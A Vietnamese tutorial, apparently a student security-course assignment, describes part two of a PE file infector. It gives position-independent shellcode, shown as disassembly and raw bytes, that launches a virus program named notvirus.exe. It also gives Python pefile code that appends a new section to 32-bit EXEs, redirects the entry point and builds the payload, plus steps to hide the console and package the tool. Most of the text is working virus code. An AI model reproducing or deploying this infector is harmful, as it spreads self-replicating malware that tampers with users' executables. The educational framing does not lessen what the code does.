Với kỹ thuật chèn cuối này thì mình sẽ có 2 phần: phần chèn vào 1 file PE có sẵn và phần lây nhiễm cho các file PE trong cùng 1 thư mục nếu 1 file PE đã bị nhiễm được kích hoạt.
Phần 2: Lây nhiễm các file EXE cùng thư mục nếu file bị nhiễm được chạy
Nội dung cụ thể
Cụ thể phần lây nhiễm thì mình có ý tưởng như sau: mình biết rằng ở phần trước mình đã tạo 1 chương trình mà nó sẽ tìm kiếm tất cả các file nằm bên trong thư mục nếu chưa được chèn và là 1 file exe 32 bit thì nó sẽ thực hiện lây nhiễm bằng kỹ thuật chèn cuối. Do đó phần này mình sẽ làm sao khi 1 chương trình đã bị nhiễm được chạy thì nó sẽ hiện popup và đồng thời thực thi file chương trình virus mà mình đã tạo ở phần trước, khi thực thi thì chương trình virus này sẽ chạy công việc tìm kiếm file mới và áp dụng kỹ thuật chèn cuối.
Để làm việc đó thì mình sẽ cần tạo 1 shellcode mới có công việc là gọi thực thi file exe có tên mình đã đặt và đó chính là file virus mà mình tạo phần trước. Ở đây mình sẽ đặt tên cho nó là notvirus.exe. Sau khi tạo được shellcode thì mình sẽ đưa nó vào phần payload của chương trình notvirus.exe, mình sẽ đặt shellcode này trước nội dung shellcode gọi popup messagebox. Khi được kích hoạt nó sẽ lần lượt chạy file notvirus.exe và sau đó hiện popup, cuối cùng quay trở lại ban đầu.
Nội dung shellcode các bạn có thể xem trong source code của mình để rõ hơn. Mình sẽ dùng FASM để biên dịch shellcode đó thành file exe.
Sau đó mình sẽ sử dụng object dump để lấy mã máy của shellcode:
Disassembly of section .flat:
00401000 <.flat>:
401000: 50 push eax
401001: 53 push ebx
401002: 51 push ecx
401003: 52 push edx
401004: 56 push esi
401005: 57 push edi
401006: 55 push ebp
401007: 89 e5 mov ebp,esp
401009: 83 ec 18 sub esp,0x18
40100c: 31 f6 xor esi,esi
40100e: 66 56 push si
401010: 6a 63 push 0x63
401012: 66 68 78 65 pushw 0x6578
401016: 68 57 69 6e 45 push 0x456e6957
40101b: 89 65 fc mov DWORD PTR [ebp-0x4],esp
40101e: 31 f6 xor esi,esi
401020: 64 8b 5e 30 mov ebx,DWORD PTR fs:[esi+0x30]
401024: 8b 5b 0c mov ebx,DWORD PTR [ebx+0xc]
401027: 8b 5b 14 mov ebx,DWORD PTR [ebx+0x14]
40102a: 8b 1b mov ebx,DWORD PTR [ebx]
40102c: 8b 1b mov ebx,DWORD PTR [ebx]
40102e: 8b 5b 10 mov ebx,DWORD PTR [ebx+0x10]
401031: 89 5d f8 mov DWORD PTR [ebp-0x8],ebx
401034: 8b 43 3c mov eax,DWORD PTR [ebx+0x3c]
401037: 01 d8 add eax,ebx
401039: 8b 40 78 mov eax,DWORD PTR [eax+0x78]
40103c: 01 d8 add eax,ebx
40103e: 8b 48 24 mov ecx,DWORD PTR [eax+0x24]
401041: 01 d9 add ecx,ebx
401043: 89 4d f4 mov DWORD PTR [ebp-0xc],ecx
401046: 8b 78 20 mov edi,DWORD PTR [eax+0x20]
401049: 01 df add edi,ebx
40104b: 89 7d f0 mov DWORD PTR [ebp-0x10],edi
40104e: 8b 50 1c mov edx,DWORD PTR [eax+0x1c]
401051: 01 da add edx,ebx
401053: 89 55 ec mov DWORD PTR [ebp-0x14],edx
401056: 8b 50 14 mov edx,DWORD PTR [eax+0x14]
401059: 31 c0 xor eax,eax
40105b: 8b 7d f0 mov edi,DWORD PTR [ebp-0x10]
40105e: 8b 75 fc mov esi,DWORD PTR [ebp-0x4]
401061: 31 c9 xor ecx,ecx
401063: fc cld
401064: 8b 3c 87 mov edi,DWORD PTR [edi+eax*4]
401067: 01 df add edi,ebx
401069: 66 83 c1 08 add cx,0x8
40106d: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
40106f: 74 0a je 0x40107b
401071: 40 inc eax
401072: 39 d0 cmp eax,edx
401074: 72 e5 jb 0x40105b
401076: 83 c4 26 add esp,0x26
401079: eb 2b jmp 0x4010a6
40107b: 8b 4d f4 mov ecx,DWORD PTR [ebp-0xc]
40107e: 8b 55 ec mov edx,DWORD PTR [ebp-0x14]
401081: 66 8b 04 41 mov ax,WORD PTR [ecx+eax*2]
401085: 8b 04 82 mov eax,DWORD PTR [edx+eax*4]
401088: 01 d8 add eax,ebx
40108a: 31 d2 xor edx,edx
40108c: 52 push edx
40108d: 68 2e 65 78 65 push 0x6578652e
401092: 68 69 72 75 73 push 0x73757269
401097: 68 6e 6f 74 76 push 0x76746f6e
40109c: 89 e6 mov esi,esp
40109e: 6a 0a push 0xa
4010a0: 56 push esi
4010a1: ff d0 call eax
4010a3: 83 c4 46 add esp,0x46
4010a6: 5d pop ebp
4010a7: 5f pop edi
4010a8: 5e pop esi
4010a9: 5a pop edx
4010aa: 59 pop ecx
4010ab: 5b pop ebx
4010ac: 58 pop eax
4010ad: c3 ret
Tiếp theo mình lấy chiều dài của shellcode dùng để tính địa chỉ vị trí lưu trữ Caption và Text.
Dưới đây là phần nội dung của run.exe vừa mới biên dịch, mình sử dụng HxD để đọc, mình sẽ chèn phần shellcode messagebox (đã đề cập ở phần 1) vào vị trí sau đây.
Phần màu đỏ sẽ là phần mình mình sẽ đặt payload gọi messagebox vào ngay phía sau shellcode mới tạo. Lưu ý thì mình sẽ đặt sao cho sát với shellcode mới tạo và ghi đè lên opcode C3 nghĩa là lệnh jump để ngăn nó quay lại vị trí ban đầu. Thay vào đó sẽ thực thi tiếp.
Đoạn chương trình mình các bạn có thể xem trong source code mình up trên github, quan trọng là phần tính lại địa chỉ và phần tạo Payload:
pe = pefile.PE(filePath)
# print("\n------------Infecting " + filePath + "------------\n")
# tạo section mới
newSection = createNewSection(pe)
# lấy địa chỉ của hàm MessageBoxW được import vào
msgBoxOff = findMsgBox(pe)
# tính VA của caption và text theo công thức RA – Section RA = VA – Section VA
captionOff = 0xCD + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
textOff = 0xF3 + newSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
# tính relative virtual address của OEP để sử dụng nó với lệnh jump quay lại ban đầu
oldEntryPointVA = pe.OPTIONAL_HEADER.AddressOfEntryPoint + pe.OPTIONAL_HEADER.ImageBase
newEntryPointVA = newSection.VirtualAddress+ pe.OPTIONAL_HEADER.ImageBase
jmp_instruction_VA = newEntryPointVA + 0x14 + 0xad
RVA_oep = oldEntryPointVA - 5 - jmp_instruction_VA
def generatePayload(msgBoxOff, oep, captionOff, textOff, Size):
'''
caption: Infetion by NT230:
\x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20
\x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00\x32\x00\x33\x00\x30\x00\x00\x00
text: 19521044_19521190_19520588:
\x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00
\x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38
'''
shellcodeToSpread = b'\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x66\x56\x6A\x63\x66\x68\x78\x65\x68\x57\x69\x6E\x45\x89\x65\xFC\x31\xF6\x64\x8B\x5E\x30\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x26\xEB\x2B\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x69\x72\x75\x73\x68\x6E\x6F\x74\x76\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x46\x5D\x5F\x5E\x5A\x59\x5B\x58'
capLittle = captionOff.to_bytes(4, 'little')
textLittle = textOff.to_bytes(4, 'little')
msgBoxLittle = msgBoxOff.to_bytes(4, 'little')
oepLittle = oep.to_bytes(4, byteorder='little', signed=True)
payload = shellcodeToSpread
payload += b'\x6a\x00\x68'+ capLittle+ b'\x68' + textLittle + b'\x6a\x00\xff\x15'+ msgBoxLittle +b'\xe9'+ oepLittle +b'\x00\x00\x00\x00\x00\x00\x00'
payload += b'\x49\x00\x6E\x00\x66\x00\x65\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x20\x00\x62\x00\x79\x00\x20\x00\x4E\x00\x54\x00'
payload += b'\x32\x00\x33\x00\x30\x00\x00\x00\x31\x00\x39\x00\x35\x00\x32\x00\x31\x00\x30\x00\x34\x00\x34\x00\x5F\x00\x31\x00\x39\x00'
payload += b'\x35\x00\x32\x00\x31\x00\x31\x00\x39\x00\x30\x00\x5F\x00\x31\x00\x39\x00\x35\x00\x32\x00\x30\x00\x35\x00\x38\x00\x38'
# print(payload)
dataOfNewSection = bytearray(Size)
for i in range(len(payload)):
dataOfNewSection[i]=payload[i]
return payload
Cuối cùng mình bỏ hết phần print và cũng như đổi tên file từ .py thành .pyw nghĩa là không cho nó show console. Sau đó dùng PyInstaller tạo file exe như phần 1 đã đề cập.
Thực hiện
Trước khi bị lây nhiễm
Sau khi bị lây nhiễm
Tiếp theo mình sẽ lấy 1 file exe mới đưa vào thư mục, mình sẽ sử dụng notepad.exe(32bit). Trước khi kích hoạt cho calc.exe chạy và notepad.exe chưa bị nhiễm
Sau đó click vào file đã nhiễm là calc.exe để chạy, lúc này notepad.exe cũng đã bị lây nhiễm.
Vậy là đã hoàn thành việc lây nhiễm file mới được đưa vào thư mục bằng kích hoạt 1 file đã bị nhiễm rồi. Điểm yếu của cách làm này là cần phải có 1 chương trình virus ban đầu kèm theo ở đay là notvirus.exe. Nếu mà copy file bị nhiễm sang 1 thư mục khác không có file virus ban đầu thì sẽ không thể thực hiện lây nhiễm file khác được.